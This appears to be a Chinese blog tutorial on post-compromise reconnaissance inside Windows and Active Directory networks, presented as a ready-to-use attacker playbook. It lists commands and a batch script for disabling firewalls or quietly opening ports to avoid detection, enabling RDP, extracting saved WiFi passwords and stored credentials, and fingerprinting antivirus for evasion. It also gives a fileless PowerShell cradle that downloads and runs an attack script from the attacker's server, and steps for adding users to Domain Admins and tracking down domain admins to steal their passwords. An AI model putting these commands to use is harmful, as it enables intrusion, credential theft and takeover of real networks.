本文主要是介绍2024HW--->内网信息收集,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
来讲一下内网的信息收集(本来想更一下web漏洞的,但是既然看到了内网的信息收集,那么就来讲一下信息收集吧)
1.本地的信息收集
当我们拿下一台主机的时候,肯定要先对主机本身进行信息收集(无论是否在内网)。那么以下的信息收集命令则会在实战中经常用到
ipconfig //查看网卡信息
systeminfo //查看本机系统版本等信息
对于查看操作系统的架构,可以以下命令
echo %PROCESSOR_ARCHITECTURE%
这样可以有帮助我们要进行哪一种的工具利用
查看本机的服务,不过不同的权限能查看到的服务也不同
wmic service list brief
查看安装的软件以及版本
wmic product get name,version
查看进程信息
tasklist
查看启动项信息
wmic startup get command,caption
查看计划任务,当然了,不同额权限也是能看见不同的信息的
schtasks /query /fo LIST /v
查看本机的用户以及对应的sid
wmic useraccount get name ,SID
查看开放的端口
netstat -ano
查看对应打的补丁,(这个关乎到日后的提权,如果你是system的话当我没说)
wmic qfe get Caption,Description,HotFixID,InstalledOn
查看共享
wmic share get name,path,status
查看防火墙状态,开关防火墙(需要权限)
shell netsh firewall show stat //查看防火墙状态
shell netsh firewall set opmode disable //关闭防火墙
shell netsh advfirewall set allprofiles state off //关闭防火墙
查看防火墙配置
shell netsh firewall show config
但是有的时候直接关闭防火墙的动静太大了,这样会引起态势感知等设备的发现,于是我们可以设置防火墙的规则,让他放行相应的流量
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="你的exe文件"
允许某一个端口流量放行
shell netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=9191 action=allow
开启3389端口(家庭版是不行的,别试了)
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
如果遇到一些狡猾一点的管理员,有可能会将RDP端口改为不是3389!!!但是还是难不倒我们
shell REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
看到这个先不要慌,我们先拿出计算器
只要还是3389的话就还是小问题
如果我们要查看一下它的WiFi密码
shell for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr
‐i ‐v echo | netsh wlan show profiles %j key=clear
它真的能看见你连接过的WIFI密码
查看当前的登录凭证,这个命令不建议用system权限去敲(这个原因我后面说)
shell cmdkey /list
查看arp缓存
shell arp -a
有的时候会暴露网段的信息
查询各种用户
shell net localgroup administrators //查看本地的管理员用户(不是system的权限,又存在域环境,但是以工作组登录)
net user //查看当前本机的用户
net user /domain //查看当前域的用户
查看当前电脑的杀毒软件,这个就很重要了,关乎到我们要不要免杀(不过一般都是直接上免杀的🐎)
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname
/format:list
如果想要看一下这个人最近看了什么东西,那么也很好办(只能看pdf,或者link这些噢)
dir %APPDATA%\Microsoft\Windows\Recent
2.一键化自动脚本
如果我们进入到内网之后,要敲这么多命令,是不是很麻烦,那么有没有一键化的脚本呢?
插件大舞台,想用你就来
但是这样点来点去还是有一点麻烦,有没有直接一键的呢????
那么就来用一下bat脚本吧,这里提供两个脚本
@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt
下面这个可能会有乱码,但是不重要,你把他复制出来就能看见了
@echo off
chcp 65001 > nul
echo 开始信息收集 > 1.txt
echo --------------系统架构-------------- >> 1.txt
echo %PROCESSOR_ARCHITECTURE% >> 1.txt
chcp 65001 > nul
echo --------------启动项-------------- >> 1.txt
wmic startup get command,caption >> 1.txt
echo --------------本机用户-------------- >> 1.txt
wmic useraccount get name,SID >> 1.txt
echo --------------开放端口-------------- >> 1.txt
netstat -ano >> 1.txt
echo --------------防火墙-------------- >> 1.txt
netsh firewall show stat >> 1.txt
echo --------------防火墙配置-------------- >> 1.txt
netsh firewall show config >> 1.txt
echo ------------RDP端口(Oxd3d)-------------- >> 1.txt
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber >> 1.txt
echo --------------WIFI密码-------------- >> 1.txt
for /f "skip=9 tokens=1,2 delims=:" %%i in ('netsh wlan show profiles') do (echo %%j | findstr /i /v echo | netsh wlan show profiles %%j key=clear >> 1.txt
)
echo -------------arp缓存-------------- >> 1.txt
arp -a >> 1.txt
echo --------------本地管理员-------------- >> 1.txt
net localgroup administrators >> 1.txt
echo --------------杀软信息-------------- >> 1.txt
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list >> 1.txt
echo --------------补丁版本-------------- >> 1.txt
wmic qfe get Caption,Description,HotFixID,InstalledOn >> 1.txt
echo ------------网卡以及系统------------ >> 1.txt
ipconfig >> 1.txt
systeminfo >> 1.txt
似乎还行吧
3.内网IP扫描
先来讲个工具吧
1.Fscan
这个工具在内网经常用到,而且还很好用,堪称漏扫啊
fscan.exe -h 192.168.246.1 -t 10000 -full
如果你只是想扫一个c段落,就直接纸样就好
fscan.exe -h 192.168.246.1/24 -t 10000
还是很强大的,堪称内网的Xray AWVS这些,像永恒之蓝都能扫出来
除了工具,来讲一下命令
3.ARP探测
arp.exe -t IP || 或者网段
但是似乎好像不太准确,扫描结果不太一样
4.内网端口扫描
这个的话,fscan也可以扫描出来,不过这里就来讲一些新的方式
1.Powershell无文件落地扫描
其实有一种高级的攻击,叫做无文件落地攻击(是不是听了这个名字也觉得很牛逼)
那么它的原理就是远程加载我们的文件,达到无文件落地的目的(虽然有可能直接暴露我们攻击机器的VPS,但是可以挂代理)
PowerSploit 是一款基于 PowerShell 的后渗透框架软件,包含了很多 PowerShell 的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。
然后去将他放在VPS能被访问到的目录下,然后直接执行以下的命令
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.246.1/Invoke-Portscan.ps1'); Import-Module .\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.246.0/24 -T 5 -ports '445,8080,3389,80,3306,6379'
不过扫整个网段的端口会很慢(真tmd慢)而且它的线程最高就是5 ,逆天
直接忽略它的报错,它是能扫出来的
2.Nishang
Nishang 是一款针对 PowerShell 的渗透工具。nishang也是一款不可多得的好工具。非常的好用。
powershell -command "Set-ExecutionPolicy remotesigned; Import-Module .\nishang\nishang.psm1; Invoke-PortScan -StartAddress 192.168.246.1 -EndAddress 192.168.246.255 -ResolveHost"
虽然是慢了点,但是还是可以扫出来的
powershell -command "Set-ExecutionPolicy remotesigned; Import-Module .\nishang\nishang.psm1; Invoke-PortScan -StartAddress 192.168.246.1 -EndAddress 192.168.246.100 -ResolveHost -ScanPort -Ports 80,3389,445,3306"
但是呢,我总感觉这个不太好用,总是会报错,cs跑不出来,可能要直接远程桌面的效果会好一点
可以看见也是只跑出来了一个主机的端口
5.域内信息收集
1.域内的用户身份划分
- 本地普通用户(或者普通管理员)
- 本地管理员
- 域内管理员
- 域内普通用户(这个说不准,有可能也是管理员)
- 如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.
- 而本地管理员用户和域内用户可以查询域内信息.
其原理是 : 域内的所有查询都是通过域控制器实现的(基于 LDAP 协议) , 而这个查询需要经过权限认证 , 所以 , 只有域 用户才拥有这个权限; 当域用户执行查询命令时 , 会自动使用 Kerberos 协议进行认证 , 无须额外输人账 号和密码
本地管理员Admmistrator权限可以直接提升为Ntauthority或System权限,因此,在域中,除普通用户外,所有的机器都 有—个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用 System权限可以运行域内的查询命令。
举个栗子 我们普通用户(存在域环境)查询肯定是查询不了的
但是如果我换成administrator就不一样了,这个肯定是可以查询到的
那有些人就好奇了,我的普通管理员如果过了UAC能不能查呢??(不行!!!)
那如果getsystem呢?? (好吧,还是不行) 看来只有administrator才可以的!!
2.判断域环境是否存在
这三个都是能查看的
systeminfo
ipconfig /all
net view /domain
net config workstation
net time /domain
这就要分成三种情况了(和net user /domain差不多)
根本没有域环境
存在域环境,但是不是用的administrator登录,普通用户
域内用户
3.Net命令!!
这个命令就重要啦,对于无论是信息收集还是横向移动都很重要
net user //查看本地用户
net user /domain //查看域内用户
net use //查看网络连接
net start //查看当前服务,或者开启服务
Net Share //查看网络共享
net localgroup //查看本地用户组
下面来详细讲一下这个命令,这个只能在域控上执行
net group
命令格式: `Net group groupname {/add [/comment:"text "] | /delete} [/domain]`有关参数说明:∙ 键入不带参数的 Net group 显示服务器名称及服务器的组名称∙`groupname` 要添加、扩展或删除的组∙`/comment:"text "` 为新建组或现有组添加注释∙`/domain` 在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作∙`username[ ...]` 列表显示要添加到组或从组中删除的一个或多个用户∙`/add` 添加组或在组中添加用户名∙`/delete` 删除组或从组中删除用户名例如: `Net group ggg GHQ1 GHQ2 /add` 将现有用户帐号 GHQ1 和 GHQ2 添加到本地计算机的 ggg 组。
net group "Domain Admins" "域内用户名字" /add
net view /domain:域名
这些查出来的都是hostname
查看域内的组(这个不用在域控上也能查)
shell net group /domain
所以我们一般都是直接去劫持Domain Admins 或者 Enterprise Admins
4.查找域控制器
net group "domain computers" /domain
这个可以用来查看域控,因为真实的域环境中可能不止有一台的计算机
nltest /DCLIST:域名
这样,我们就能得到域控的名字是OWA,然后我们去ping它,就能获得它的ip了
5.查找域内用户信息
进入到一个域,怎么去查找用户的信息呢???
这是最简单的查找域内的用户的信息了
net user /domain
这样就能看见有几个用户了
其实有一个很强大的命令工具 wmic
wmic useraccount get/all
这个直接可以看见各种牛鬼蛇神(bushi)了 ,这个能查看所有的用户。
6.定位域管理员
上工具,这个还是可以的找的挺快的
PVEFindADUser.exe -current
然后就是netview工具了,这个比较逆天,可以定位到计算机上登录过的用户
netview.exe -d "域名"(不加就是查找当前域)
如果能看见域管登录过我们的账号,就可以直接抓密码了!!!(但是要是当前电脑是管理员才可以,如果是普通用户是不可以的)
这篇关于2024HW--->内网信息收集的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!